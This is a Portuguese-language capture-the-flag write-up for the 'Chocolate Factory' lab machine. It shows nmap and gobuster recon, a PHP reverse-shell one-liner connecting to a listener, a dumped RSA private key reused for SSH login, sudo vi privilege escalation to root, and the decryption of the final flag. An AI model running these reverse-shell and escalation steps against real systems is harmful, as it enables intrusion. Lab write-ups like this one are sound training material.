

Writeup Chocolate Factory - Grupo 8

Primeiro, vamos fazer o mapeamento da rede, usando o nmap:

```
(kali@kali)-[~]
$ nmap -sV 10.201.26.95
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-29 18:05 EDT
Stats: 0:00:41 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.99% done; ETC: 18:05 (0:00:00 remaining)
Stats: 0:02:47 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 27.27% done; ETC: 18:10 (0:02:45 remaining)
Stats: 0:02:48 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 27.27% done; ETC: 18:10 (0:02:45 remaining)
```

Após certo tempo, percebemos que o nmap estava demorando muito, isso se deve ao spoofing feito nas portas que estavam abertas. Para tentar achar uma solução mais rápida, selecionando apenas as portas principais (http,ftp,ssh) temos:

```
$ nmap -sV -T4 -p 21,22,80 10.201.26.95
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-29 18:34 EDT
Nmap scan report for 10.201.26.95
Host is up (0.33s latency).
* Fast scan: The -F option scans the top 100 ports.

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.5
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.05 seconds
```

Com isso, acessando http, vemos uma página de login, como não temos nenhuma pista, vamos fazer um fuzzing de diretórios para tentar encontrar alguma outra página “escondida”. Utilizando a ferramenta gobuster, e filtrando para arquivos php encontramos

```
gobuster dir -u http://10.201.26.95/ -w /usr/share/wordlists/dirb/common.txt -x php,txt -r
```

```
/.hta (Status: 403) [Size: 277]
/.hta.php (Status: 403) [Size: 277]
/.hta.txt (Status: 403) [Size: 277]
/.htaccess (Status: 403) [Size: 277]
/.htpasswd.php (Status: 403) [Size: 277]
/.htaccess.txt (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/.htpasswd.txt (Status: 403) [Size: 277]
/.htaccess.php (Status: 403) [Size: 277]
/home.php (Status: 200) [Size: 569]
/index.html (Status: 200) [Size: 1466]
/server-status (Status: 403) [Size: 277]
```

Desse modo, acessando <http://10.201.26.95/home.php>, encontramos uma página apenas com um painel de comando, assim, podemos escrever o seguinte script que faz uma shell reversa para conseguirmos acesso. Procurando na internet, escrevemos seguinte comando

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

e antes de executarmos, colocamos um listener na porta 1234

```
(kali㉿kali)-[~]  
$ nc -lvnp 1234
```

executando o código no painel de comando, escrevemos os seguintes comandos na shell

```
$ whoami  
www-data  
$ pwd  
/var/www/html  
$ ls  
home.jpg  
home.php  
image.png  
index.html  
index.php.bak  
key_rev_key  
validate.php
```

Para explorar key_rev_key, utilizamos “strings key_rev_key” e encontramos a seguinte chave:

```
congratulations you have found the key:  
b'-VkgXhFf6sAEcAwRC6YR-SZbiuSb8ABXeQuvhcGSQzY='
```

Assim, achamos a primeira flag do desafio!

Explorando mais, encontramos em /home/ os seguintes diretórios

```
$ cd home  
$ ls  
charlie  
ssm-user  
ubuntu
```

acessando primeiramente /charlie/, encontramos os arquivos teleport, teleport.pub e user.txt, como apenas root tem acesso a user.txt ainda, vamos explorar os outros arquivos.

O primeiro, é uma chave privada RSA, que pode ser utilizado para entrar no ssh

```
$ cat teleport
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA4adrPc3Uh98RYDrZ8CUBDgWLENUybF60lMk9YQ0BDR+gpuRW
1AzL12K35/Mi3Vwtp0NSwmLS7ha4y9sv2kPXv8lF0mLi1FV2hqlQLw/unnEFwUb
L4KBqBemIDeFV5pxMmCqqguJXIkzklAIXNYhfxLr8cBS/HJoh/7qmLqrDoXNhwYj
B3zg0v7Rutk15Jv11D0Ittsyr54pvYhCQgdoorU7l42EZJayIomHKon1jkoFd1/oY
fOBwgz6J0lNH1JfJoyIZg20mEhnsjUltZ9mSzmQyv3M4A0RQo3ZeLb+zbnSJycEE
RaObPlb0dRy3KoN79lt+dh+jSg/dM/TYYe5L4wIDAQABAoIBAD2TzjQDYyfgu4Ej
Di32Kx+Ea7qgMy5XebfQYquCpUjLhK+GSBt9knKoQb90HgmCCgNG3+Klkzfdg3g9
zAUnlkxDx2d6ex2rJMqdSpGkrsx5HwLsaU0oWATpkfJt3TcSNLITquQVDe4tF
w8JxvJpMs445CWxSXCwgaCxdZCiF33C0CtVw6zv0dF6Mo0imVZF36UkXI2FmdZF1
kR7MGsagAwRnmoCvQ7lNpYcqDDNf6jKnX5Sk83R5bVAAjV6ktZ9uEN8NItM/ppZ
j4PM6/IIPw2jQ8WzUoi/JG7aXJnBE4bm53qo2B4oVu3PihZ7tKkLZq30clrrkbn2
EY0ndcECgYEA/29MMD3FEYcMcY+KQfEU2h9mangQmRMDaBHKajq20KvGvnT1U/T
RcbPNBAQMoSj6YrVhvgY3xtEdEHHBj05qnq8TsLaSovQZxDiFaGtLaLaWgswc0BiF
uAKE2uKcpVCTSebwJyNewwTLjhV9mMyn/piAtRLGKzeyZ9/muZdtesCgYEA4ida
KuEj2FE7M+MM/+ZeizvLjKSNbiYYUPuDcsoWYxQCp0q8HmtjyAQizKo6DLXIPCCQ
RZSvmU1T3nk9MoTgDjkN01xxbF2N7ihnBkHj0ffod+zknQbvzIDa4Q2owpeHZL19
znQV98mrRaYDb5YsaEj0YoKfb8xhZJPyEb+v6+kCgYAZwE+vAVsvtCyrqARJN5PB
la70h0Kym+8P3Zu5fI0Iw8VBc/Q+KgkDnNjgzvGELkisD7oNHFKMmYQIMetvE7GB
FVSMoCo/n67H5TTgM3zX7qhn0UoKfo7EiUR5iKUAkYpfxnTKUK+IW6ME2vfJgsBg
82DuYPjuItPAdRsellNwKBGh77Rv5Ml9HYGoPR0vTEpwRhI/N+WaMLZLXj4zTK
37MWAz9nqSTza31dRSTh1+NAq00HjTpkeAx97L+YF5KMJT0XmqTIDS+pgA3fRamv
ySQ9XJwpuSFFGdQb7co73ywT5QPdmgyB1WxOKFMxVUCXyBW/9FoQpmFipHsuBjb
Jq4xAoGBAIQnMPLKqBk/ZV+HXmdJYSrf2MACWwL4pQ09bQUeta0rZA6iQvwlRkM
Qxg3lN2/1dnebKK5lEd2qFP1WLQUJqypo5TznXQ7tv0Uuw7o0cy5XNMFVwn/BqQm
G2Qw0AGbsQHcI0P19XgHTOB7Dm69rP9j1wIRBOF7iGfwhWdi+vln
-----END RSA PRIVATE KEY-----
```

Salvando essa chave no meu computador, e executando o seguinte comando, conseguimos entrar no ssh do charlie!

```
(kali㉿kali)-[~]
$ ssh -i Desktop/ssh_do_charlie.txt charlie@10.201.26.95
```

Agora, tentando fazer uma escalção de privilégio, executamos o comando sudo -l.

```
charlie@ip-10-201-26-95:/home/charlie$ sudo -l
Matching Defaults entries for charlie on ip-10-201-26-95:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User charlie may run the following commands on ip-10-201-26-95:
    (ALL : !root) NOPASSWD: /usr/bin/vi
charlie@ip-10-201-26-95:/home/charlie$ sudo vi -c '!:bin/sh' /dev/null
```

Aqui vemos que charlie consegue executar comandos “vi”, explorando mais em <https://gtfobins.github.io/gtfobins/vi/>, conseguimos ter acesso a root executando o seguinte comando

```
sudo vi -c '!:bin/sh' /dev/null
```

Após executar o comando, conseguimos entrar como root!

```
# whoami
root
```

Agora explorando pelos diretórios, conseguimos finalmente abrir user.txt

o que é nossa terceira flag! Entrando no diretório /root/, finalmente achamos nossa última bandeira... INFELIZ! Executamos o comando ls pra ver o conteúdo de /root/ e vemos que a última flag é um arquivo [root.py](#), acessando o conteúdo desse arquivo vemos:

```
# cat root.py
from cryptography.fernet import Fernet
import pyfiglet
key=input("Enter the key: ")
f=Fernet(key)
encrypted_mess= 'gAAAAABfdb52eejIlEaE9ttPY8ckMMfHTIw5lamAWMy8yEdGPhnm9
dcrypt_mess=f.decrypt(encrypted_mess)
mess=dcrypt_mess.decode()
display1=pyfiglet.figlet_format("You Are Now The Owner Of ")
display2=pyfiglet.figlet_format("Chocolate Factory ")
print(display1)
print(display2)
print(mess)#
```

Como podemos ver, o arquivo faz uma criptografia que depende da chave que encontramos anteriormente para descriptografar. Salvando esse código no nosso computador e rodando o programa vemos:

```
(kali@kali)-[~]
$ python Downloads/HACKERMRRBOT.py
Enter the key: -VkgXhFf6sAEcAwRC6YR-SZbiuSb8ABXeQuvhcGSQzY=
You Are Now The
Owner Of
Chocolate
Factory
flag{cec59161d338fef787fcb4e296b42124}
```